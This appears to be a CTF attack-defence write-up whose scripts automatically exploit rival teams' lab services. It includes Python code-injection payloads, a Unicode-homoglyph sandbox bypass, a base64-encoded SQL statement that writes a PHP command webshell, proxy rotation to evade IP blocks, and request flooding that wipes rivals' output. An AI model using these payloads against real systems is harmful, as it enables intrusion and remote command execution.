life was so hectic it took me like a year later to write this, enjoy!

so theres a specific instance where you can submit the flag, after you managed to attack/defend ur instances if im not mistaken i dont remember most of it already.

and every tick there will be new flags generated for each team.

  • attack points | 2
  • defence points | -1 (if the other team submit your flag)
1
2
3
4
5
6
7
8
C4ltex- 10.10.1.10
C0UGH1NGB4BY - 10.10.2.10
Takde Idea - 10.10.3.10
GPT-10001 - 10.10.4.10
0LDBEES - 10.10.5.10

Game Server - 10.10.100.10
Submit flag via nc 10.10.100.10 6666

Flag Submission

in order to submit the flag u need to send it to your instance, since it can be a bit tedious cuz there are way too many flags we decided to make an automated script to submit it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def submit_flags(flags):
    """Submit flags to the server"""
    if not flags:
        print("  [-] No flags to submit!")
        return

    try:
        print(f"  [*] Connecting to {SUBMIT_HOST}:{SUBMIT_PORT}...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((SUBMIT_HOST, SUBMIT_PORT))

        # Read banner
        time.sleep(0.5)
        try:
            banner = sock.recv(4096).decode()
            print(f"  {banner.strip()}")
        except:
            pass

        print("  [*] Submitting flags...\n")
        for flag in flags:
            sock.sendall(flag.encode() + b'\n')
            time.sleep(0.3)
            try:
                response = sock.recv(4096).decode()
                print(f"  {flag} -> {response.strip()}")
            except:
                print(f"  {flag} -> No response")

        sock.close()
    except Exception as e:
        print(f"  [-] Error submitting: {e}")

Web Note

Note (Port 16000)

The website is vulnerable to python arbitrary code execution.

1
print(open("/home/user/flag.txt").read())

Then we automate it to attack the rest of the IPs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#!/usr/bin/env python3
import requests
import re
import socket
import time
from datetime import datetime
import random

# Targets to try
TARGETS = [
    "http://10.10.1.10:16000/",
    "http://10.10.2.10:16000/",
    "http://10.10.3.10:16000/",
    "http://10.10.4.10:16000/",
    "http://10.10.5.10:16000/"
]

# Proxy list - Add your proxies here
# Format: "http://proxy_ip:port" or "http://user:pass@proxy_ip:port"
PROXIES_LIST = [
    "http://10.10.130.23:12378",
    # Add more proxies here if you have them
]

# Set to True to enable proxy usage
USE_PROXY = True  # Proxy is now enabled

SUBMIT_HOST = "10.10.100.10"
SUBMIT_PORT = 6666
INTERVAL = 60  # 1 minute in seconds (change to 240 for 4 minutes)

def get_random_proxy():
    """Get a random proxy from the list"""
    if not PROXIES_LIST or not USE_PROXY:
        return None

    proxy = random.choice(PROXIES_LIST)
    return {
        'http': proxy,
        'https': proxy
    }

def get_flags():
    """Extract flags from all targets"""
    flags = []
    for target in TARGETS:
        team = None
        try:
            team = target.split(".")[2]

            # Get proxy for this request
            proxies = get_random_proxy()
            proxy_info = f" via {proxies['http']}" if proxies else " (direct)"

            print(f"  [*] Trying Team {team} at {target}{proxy_info}...")

            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Content-Type': 'application/x-www-form-urlencoded',
            }

            data = {'cmd': 'print(open("flag.txt").read())'}

            # Make request with or without proxy
            response = requests.post(
                target,
                headers=headers,
                data=data,
                timeout=10,
                proxies=proxies
            )

            print(f"  [*] Team {team}: Status {response.status_code}")

            if response.status_code == 200:
                found_flags = re.findall(r'SIBER25_[A-Za-z0-9+/=]+', response.text)
                if found_flags:
                    flag = found_flags[-1]
                    print(f"  [+] Team {team}: {flag}")
                    flags.append(flag)
                else:
                    print(f"  [-] Team {team}: No flags found in response")
            elif response.status_code == 403:
                print(f"  [!] Team {team}: FORBIDDEN - IP might be blocked!")
            else:
                print(f"  [-] Team {team}: Unexpected status code")

        except requests.exceptions.Timeout:
            print(f"  [-] Team {team}: Timeout after 10 seconds")
            continue
        except requests.exceptions.ConnectionError as e:
            print(f"  [-] Team {team}: Connection Error - {e}")
            continue
        except requests.exceptions.ProxyError as e:
            print(f"  [-] Team {team}: Proxy Error - {e}")
            continue
        except requests.exceptions.RequestException as e:
            print(f"  [-] Team {team}: Request Error - {e}")
            continue
        except Exception as e:
            print(f"  [-] Team {team if team else 'Unknown'}: Unexpected Error - {type(e).__name__}: {e}")
            continue

    print(f"\n  [*] Completed scanning all {len(TARGETS)} targets")
    return flags

def submit_flags(flags):
    """Submit flags to the server"""
    if not flags:
        print("  [-] No flags to submit!")
        return

    try:
        print(f"  [*] Connecting to {SUBMIT_HOST}:{SUBMIT_PORT}...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((SUBMIT_HOST, SUBMIT_PORT))

        # Read banner
        time.sleep(0.5)
        try:
            banner = sock.recv(4096).decode()
            print(f"  {banner.strip()}")
        except:
            pass

        print("  [*] Submitting flags...\n")
        for flag in flags:
            sock.sendall(flag.encode() + b'\n')
            time.sleep(0.3)
            try:
                response = sock.recv(4096).decode()
                print(f"  {flag} -> {response.strip()}")
            except:
                print(f"  {flag} -> No response")

        sock.close()
        print("  [+] Flag submission complete")
    except socket.timeout:
        print(f"  [-] Socket timeout when submitting")
    except ConnectionRefusedError:
        print(f"  [-] Connection refused to {SUBMIT_HOST}:{SUBMIT_PORT}")
    except Exception as e:
        print(f"  [-] Error submitting: {type(e).__name__}: {e}")

def test_proxies():
    """Test all proxies to see which ones work"""
    if not PROXIES_LIST:
        print("[!] No proxies configured")
        return

    print("\n[*] Testing proxies...")
    print("-" * 70)
    working_proxies = []

    for proxy in PROXIES_LIST:
        try:
            proxies = {'http': proxy, 'https': proxy}
            response = requests.get(
                "http://httpbin.org/ip",
                proxies=proxies,
                timeout=5
            )
            if response.status_code == 200:
                ip = response.json().get('origin', 'Unknown')
                print(f"  [+] {proxy} -> Working (IP: {ip})")
                working_proxies.append(proxy)
            else:
                print(f"  [-] {proxy} -> Failed (Status: {response.status_code})")
        except Exception as e:
            print(f"  [-] {proxy} -> Failed ({type(e).__name__})")

    print(f"\n[*] Working proxies: {len(working_proxies)}/{len(PROXIES_LIST)}")
    print("-" * 70)
    return working_proxies

def main():
    print("=" * 70)
    print("Automated Flag Stealer - Running every minute")
    print("=" * 70)

    if USE_PROXY:
        print(f"[*] Proxy mode: ENABLED ({len(PROXIES_LIST)} proxies configured)")
        # Optionally test proxies on startup
        # test_proxies()
    else:
        print("[*] Proxy mode: DISABLED")

    print("Press Ctrl+C to stop\n")

    iteration = 1
    while True:
        try:
            timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            print(f"\n[Iteration {iteration}] - {timestamp}")
            print("-" * 70)

            print("[*] Extracting flags...")
            flags = get_flags()

            print(f"\n[*] Found {len(flags)} flags")

            if flags:
                submit_flags(flags)
            else:
                print("  [!] No flags collected this round")

            print(f"\n[*] Waiting {INTERVAL} seconds until next run...")
            print("=" * 70)

            time.sleep(INTERVAL)
            iteration += 1

        except KeyboardInterrupt:
            print("\n\n[!] Stopped by user")
            break
        except Exception as e:
            print(f"\n[-] Error in main loop: {type(e).__name__}: {e}")
            print(f"[*] Retrying in {INTERVAL} seconds...")
            time.sleep(INTERVAL)

if __name__ == "__main__":
    main()

if you noticed we added proxy feature cuz some of the other teams decided to filter our ip address from visiting their website.

u one cheeky bastard @vicevirus.

oh and also since the flag were shown in the output of the page, we decided to keep on sending request to clear the flag by sending request to the clear endpoint continously

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import time
from datetime import datetime

# Configuration
PORT = 16000
HOSTS = [f"10.10.{i}.10" for i in range(1, 6)]  # 10.10.1.10 through 10.10.5.10
ENDPOINT = "/clear"
INTERVAL = 1  # seconds

# Headers from your request
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": f"http://10.10.1.10:{PORT}",
    "Connection": "keep-alive",
    "Referer": f"http://10.10.1.10:{PORT}/",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i"
}

def send_clear_request(host):
    """Send POST request to /clear endpoint"""
    url = f"http://{host}:{PORT}{ENDPOINT}"
    try:
        response = requests.post(url, headers=HEADERS, timeout=5)
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[{timestamp}] {host} - Status: {response.status_code}")
        return response
    except requests.exceptions.RequestException as e:
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[{timestamp}] {host} - Error: {e}")
        return None

def main():
    print(f"Starting clear endpoint automation...")
    print(f"Targets: {', '.join(HOSTS)}")
    print(f"Interval: {INTERVAL} second(s)")
    print(f"Press Ctrl+C to stop\n")

    try:
        while True:
            for host in HOSTS:
                send_clear_request(host)
            time.sleep(INTERVAL)
    except KeyboardInterrupt:
        print("\n\nStopped by user")

if __name__ == "__main__":
    main()

Calculator Port 4000

i think this is pyjail challenge, we can bypass the blacklist filter using unicode homoglyphs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3
"""
fetch_flags_loop_unicode.py

Continuously (every 2 minutes) connect to each target host:port, send the exact
Unicode expression provided by the user, parse the returned flag line, and append
each result (with timestamp + host) to flags.log. Then submits all collected flags.

Usage:
    python3 fetch_flags_loop_unicode.py
"""

import socket
import time
import re
import datetime
import signal
import sys

# Configuration
HOSTS = [
    "10.10.1.10",
    "10.10.2.10",
    "10.10.3.10",
    "10.10.5.10",
]
PORT = 4000
SOCKET_TIMEOUT = 8  # seconds for connect/read operations
SLEEP_SECS = 2 * 60  # 2 minutes
LOGFILE = "flags.log"

# Submission configuration
SUBMIT_HOST = "10.10.100.10"  # *** CHANGE THIS to your submission server
SUBMIT_PORT = 6666         # *** CHANGE THIS to your submission port

# *** The user-required expression (exactly as provided) ***
EXPRESSION = r'𝘰𝘱𝘦𝘯("\056\056\057\146\154\141\147\056\164\170\164").𝘳𝘦𝘢𝘥()'
# we'll send a newline after it so the remote prompt processes it
EXPRESSION_TO_SEND = EXPRESSION + "\n"

# Regex to extract the flag from the returned text. Example lines:
# Result: Flag for 54 is SIBER25_Q1RGLS+...
FLAG_RE = re.compile(r'Flag for \d+ is (\S+)')

running = True

def handle_sigint(signum, frame):
    global running
    print("\nReceived interrupt, stopping gracefully...")
    running = False

signal.signal(signal.SIGINT, handle_sigint)
signal.signal(signal.SIGTERM, handle_sigint)

def fetch_flag_from(host, port=PORT):
    """
    Connects to host:port, waits for banner/prompt, sends EXPRESSION_TO_SEND,
    reads response and returns (flag_or_none, raw_text).
    """
    try:
        with socket.create_connection((host, port), timeout=SOCKET_TIMEOUT) as s:
            s.settimeout(SOCKET_TIMEOUT)
            # read initial banner until prompt or timeout
            banner = b''
            try:
                while True:
                    chunk = s.recv(4096)
                    if not chunk:
                        break
                    banner += chunk
                    if b'Expression' in banner or b'Expression >' in banner:
                        break
            except socket.timeout:
                pass

            # send the exact unicode expression
            s.sendall(EXPRESSION_TO_SEND.encode('utf-8'))

            # read response (a few KB is usually enough)
            resp = b''
            try:
                while True:
                    chunk = s.recv(4096)
                    if not chunk:
                        break
                    resp += chunk
                    # simple heuristic: stop after we've seen "Result:" and a newline
                    if b'Result:' in resp and b'\n' in resp.split(b'Result:',1)[1]:
                        break
            except socket.timeout:
                pass

            text = (banner + resp).decode('utf-8', errors='replace')
            m = FLAG_RE.search(text)
            if m:
                return m.group(1), text
            else:
                # fallback: capture whatever follows "Result:" if present
                alt_match = re.search(r'Result:\s*(.+)', text)
                if alt_match:
                    alt = alt_match.group(1).strip().splitlines()[0]
                    return alt, text
                return None, text

    except Exception as e:
        return None, f"ERROR: {e}"

def log_result(host, flag, raw):
    ts = datetime.datetime.utcnow().isoformat() + "Z"
    with open(LOGFILE, "a", encoding="utf-8") as f:
        f.write(f"{ts} {host} {flag}\n")
        f.write(f"{ts} {host} RAW:\n")
        for line in raw.splitlines():
            f.write(f"{ts} {host} RAW: {line}\n")
        f.write("\n")

def submit_flags(flags):
    """Submit flags to the server"""
    if not flags:
        print(" [-] No flags to submit!")
        return

    try:
        print(f" [*] Connecting to {SUBMIT_HOST}:{SUBMIT_PORT}...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((SUBMIT_HOST, SUBMIT_PORT))

        # Read banner
        time.sleep(0.5)
        try:
            banner = sock.recv(4096).decode()
            print(f" {banner.strip()}")
        except:
            pass

        print(" [*] Submitting flags...\n")
        for flag in flags:
            sock.sendall(flag.encode() + b'\n')
            time.sleep(0.3)
            try:
                response = sock.recv(4096).decode()
                print(f" {flag} -> {response.strip()}")
            except:
                print(f" {flag} -> No response")

        sock.close()
    except Exception as e:
        print(f" [-] Error submitting: {e}")

def main_loop():
    print(f"Starting flag fetch loop. Hosts: {HOSTS}. Poll every {SLEEP_SECS} seconds.")
    print(f"Will submit to {SUBMIT_HOST}:{SUBMIT_PORT}\n")
    iteration = 0

    while running:
        iteration += 1
        print(f"\n{'='*60}")
        print(f"Iteration #{iteration} - {datetime.datetime.now().isoformat()}")
        print(f"{'='*60}")

        collected_flags = []

        for host in HOSTS:
            if not running:
                break
            print(f"  -> Connecting to {host}:{PORT} ...", end="", flush=True)
            flag, raw = fetch_flag_from(host, PORT)
            if flag and flag != "<no-flag>":
                print(f" FLAG: {flag}")
                log_result(host, flag, raw if raw else "<no raw>")
                collected_flags.append(flag)
            else:
                print(" no flag found / error")
                log_result(host, "<no-flag>", raw if raw else "<no raw>")

        # Submit all collected flags
        if collected_flags:
            print(f"\n [+] Collected {len(collected_flags)} flag(s)")
            submit_flags(collected_flags)
        else:
            print("\n [-] No flags collected this iteration")

        if not running:
            break

        # sleep with graceful-shutdown checks
        print(f"\n [*] Sleeping for {SLEEP_SECS} seconds...")
        slept = 0
        while slept < SLEEP_SECS and running:
            time.sleep(1)
            slept += 1

    print("\nExited loop. Goodbye.")

if __name__ == "__main__":
    main_loop()

Appetizer Port 5555

based from my understanding i believe that it is related to sqli, which you can upload a webshell, which eventually leads to rce.

we didn’t solve it the intended way but we saw someone left his trail in one of the services so we take a look at the webhook and turns out it shows that the webshell is at /s.php lol

j

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python3
import requests
import re
import socket
import time
from datetime import datetime

# Submission server
SUBMIT_HOST = "10.10.100.10"
SUBMIT_PORT = 6666

# Teams to exploit
TEAMS = [1, 2, 3, 4, 5]

# Interval in seconds (2 minutes)
INTERVAL = 120

def exploit_team(team):
    """Exploit a single team and return their flag"""
    try:
        target = f"http://10.10.{team}.10:5555"

        # thanks to daus lmao http://httpbin.org/base64/U0VMRUNUICc8P3BocCBpZihpc3NldCgkX0dFVFtcJ2NcJ10pKXtzeXN0ZW0oJF9HRVRbXCdjXCddKTt9ID8+JyBJTlRPIE9VVEZJTEUgJy92YXIvd3d3L2h0bWwvcy5waHAnOw==

        print(f"      [+] Readibidng flag...")
        flag_url = f"{target}/skibidi.php?c=cat /home/user/flag.txt"

        response = requests.get(flag_url, timeout=10)

        # Extract flag from response
        flags = re.findall(r'SIBER25_[A-Za-z0-9+/=]+', response.text)

        if flags:
            flag = flags[0]
            print(f"      [✓] Team {team}: {flag}")
            return flag
        else:
            print(f"      [-] Team {team}: No flag found in response")
            return None

    except Exception as e:
        print(f"      [-] Team {team}: Error - {e}")
        return None

def submit_flags(flags):
    """Submit flags to the server"""
    if not flags:
        print("  [-] No flags to submit!")
        return

    try:
        print(f"  [*] Connecting to {SUBMIT_HOST}:{SUBMIT_PORT}...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((SUBMIT_HOST, SUBMIT_PORT))

        # Read banner
        time.sleep(0.5)
        try:
            banner = sock.recv(4096).decode()
            print(f"  {banner.strip()}")
        except:
            pass

        print("  [*] Submitting flags...\n")
        for flag in flags:
            sock.sendall(flag.encode() + b'\n')
            time.sleep(0.3)
            try:
                response = sock.recv(4096).decode()
                print(f"  {flag} -> {response.strip()}")
            except:
                print(f"  {flag} -> No response")

        sock.close()
    except Exception as e:
        print(f"  [-] Error submitting: {e}")

def main():
    print("=" * 70)
    print("Automated CTF Flag Exploiter - Running every 2 minutes")
    print("=" * 70)
    print("Press Ctrl+C to stop\n")

    iteration = 1

    while True:
        try:
            timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            print(f"\n[Iteration {iteration}] - {timestamp}")
            print("-" * 70)

            print("[*] Exploiting all teams...")
            flags = []

            for team in TEAMS:
                flag = exploit_team(team)
                if flag:
                    flags.append(flag)
                time.sleep(0.5)

            print(f"\n[*] Successfully extracted {len(flags)} flags")

            if flags:
                print("\n[*] Submitting flags to server...")
                submit_flags(flags)
            else:
                print("\n[-] No flags to submit!")

            print(f"\n[*] Waiting 2 minutes until next run...")
            print("=" * 70)

            time.sleep(INTERVAL)
            iteration += 1

        except KeyboardInterrupt:
            print("\n\n[!] Stopped by user")
            break
        except Exception as e:
            print(f"\n[-] Error in main loop: {e}")
            print(f"[*] Retrying in 2 minutes...")
            time.sleep(INTERVAL)

if __name__ == "__main__":
    main()